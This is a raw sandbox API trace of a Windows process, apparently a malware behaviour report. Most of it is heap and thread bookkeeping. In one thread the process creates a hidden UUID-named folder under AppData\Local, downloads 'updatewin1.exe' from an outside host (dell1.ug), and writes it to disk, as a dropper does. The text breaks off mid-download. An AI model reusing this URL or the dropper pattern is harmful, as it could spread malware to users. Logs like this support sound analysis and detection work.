returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90c498 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90cd20 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9088e0 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc90de30 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc911920 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6090f58 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089188 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6091fd8 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6090108 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6028958 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3554f80 | out: hHeap=0x3500000) returned 1 [0063.930] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60bfec8 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93e210 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93ea98 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93f320 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93fba8 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089668 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc936c30 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93afa8 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93b7c0 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9374b8 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93bff0 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93c878 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93d100 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93d988 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6029c20 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc916518 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc916da0 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc917628 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc917eb0 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc918738 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a4a98 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc918fc0 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc919848 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a52e0 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a5b28 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc924b68 | out: hHeap=0x3500000) returned 1 [0063.931] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91a0d0 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91a958 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9253d0 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc925c18 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91b1e0 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91ba68 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91c2f0 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91cb78 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91d400 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91dc88 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91e510 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91ed98 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91f620 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc91fea8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc926460 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc926cc8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc920730 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc920fb8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc921840 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc927530 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc927d78 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9220c8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc922950 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9231d8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc923a60 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9285d8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc928e60 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9296e8 | out: hHeap=0x3500000) returned 1 [0063.932] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc929f70 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92a7f8 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9385c0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc938e28 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92b080 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92b908 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92c190 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc939690 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92ca18 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92d2a0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92db28 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92e3b0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92ec38 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92f4c0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc92fd48 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9305d0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc930e58 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9316e0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc939ed8 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc93a740 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc931f68 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9327f0 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc933078 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc933900 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc934188 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc934a10 | out: hHeap=0x3500000) returned 1 [0063.933] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc935298 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc935b20 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc9363a8 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a9d00 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a4280 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089600 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a8c78 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc915c90 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a8460 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a7b68 | out: hHeap=0x3500000) returned 1 [0063.934] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x35267e8 | out: hHeap=0x3500000) returned 1 [0063.935] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3523aa0 | out: hHeap=0x3500000) returned 1 [0063.935] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f164 | out: phModule=0x18f164) returned 0 [0063.935] ExitProcess (uExitCode=0x0) [0063.936] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6052820 | out: hHeap=0x3500000) returned 1 [0063.936] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3522a90 | out: hHeap=0x3500000) returned 1 [0063.941] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 36 os_tid = 0xa78 Thread: id = 37 os_tid = 0xa7c Thread: id = 38 os_tid = 0xa80 Thread: id = 39 os_tid = 0xa84 Thread: id = 40 os_tid = 0xa88 Thread: id = 41 os_tid = 0xa8c Thread: id = 42 os_tid = 0xa90 Thread: id = 43 os_tid = 0xa94 Thread: id = 44 os_tid = 0xa98 [0050.405] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x110) returned 0x6035f90 [0050.405] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x110) returned 0x5fcf478 [0050.405] GetLastError () returned 0x54f [0050.405] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3bc) returned 0x602ff00 [0050.406] GetCurrentThreadId () returned 0xa98 [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6024af8 [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x18) returned 0x6006468 [0050.406] GetLastError () returned 0x54f [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6024b40 [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e560 [0050.406] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6006468 | out: hHeap=0x3500000) returned 1 [0050.406] GetLastError () returned 0x54f [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e720 [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x48) returned 0x6043760 [0050.406] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e560 | out: hHeap=0x3500000) returned 1 [0050.406] GetLastError () returned 0x54f [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e560 [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x35f3248 [0050.406] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6043760 | out: hHeap=0x3500000) returned 1 [0050.406] GetLastError () returned 0x54f [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e6b0 [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x90) returned 0x6037910 [0050.406] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x35f3248 | out: hHeap=0x3500000) returned 1 [0050.406] GetLastError () returned 0x54f [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e918 [0050.406] GetLastError () returned 0x54f [0050.406] SetLastError (dwErrCode=0x54f) [0050.406] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x5fcf478 | out: hHeap=0x3500000) returned 1 [0050.407] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0050.407] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0050.407] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x400) returned 0x60302c8 [0050.407] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x60302c8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0050.407] UuidCreate (in: Uuid=0xc88d768 | out: Uuid=0xc88d768) returned 0x0 [0050.408] UuidToStringA (in: Uuid=0xc88d768, StringUuid=0xc88d6c0 | out: StringUuid=0xc88d6c0) returned 0x0 [0050.408] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e8a8 [0050.408] RpcStringFreeA (in: String=0xc88d6c0 | out: String=0xc88d6c0) returned 0x0 [0050.408] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned 1 [0050.408] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d"), lpSecurityAttributes=0x0) returned 1 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x410) returned 0x601e5d0 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x410) returned 0x601e9e8 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1000) returned 0x601ee00 [0050.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x601e9e8, cbMultiByte=-1, lpWideCharStr=0x601ee00, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned 81 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1010) returned 0x601fe08 [0050.409] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601ee00 | out: hHeap=0x3500000) returned 1 [0050.409] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x18) returned 0x6006468 [0050.409] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6024b88 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0x6020e20 [0050.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6024b88, cbMultiByte=-1, lpWideCharStr=0x6020e20, cchWideChar=1072 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin1.exe") returned 45 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x870) returned 0x601e9e8 [0050.409] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6020e20 | out: hHeap=0x3500000) returned 1 [0050.409] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6024b88 | out: hHeap=0x3500000) returned 1 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x870) returned 0x6020e20 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0x601f260 [0050.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x601f260, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 45 [0050.409] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0x6067e88 [0050.410] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601f260 | out: hHeap=0x3500000) returned 1 [0050.410] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6020e20 | out: hHeap=0x3500000) returned 1 [0050.410] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0050.880] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6067e88 | out: hHeap=0x3500000) returned 1 [0050.880] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xc88d6d0, lpdwBufferLength=0xc88d710, lpdwIndex=0x0 | out: lpBuffer=0xc88d6d0*, lpdwBufferLength=0xc88d710*=0x4, lpdwIndex=0x0) returned 1 [0050.880] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6024cf0 [0050.880] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x20) returned 0x601a6d0 [0050.881] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6024cf0 | out: hHeap=0x3500000) returned 1 [0050.881] lstrcpyA (in: lpString1=0x60302c8, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" [0050.881] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe") returned 1 [0050.881] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x35f3450 [0050.881] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0050.881] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.881] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.888] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.918] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.918] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.919] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.950] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.951] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.951] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.952] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.952] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.952] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, 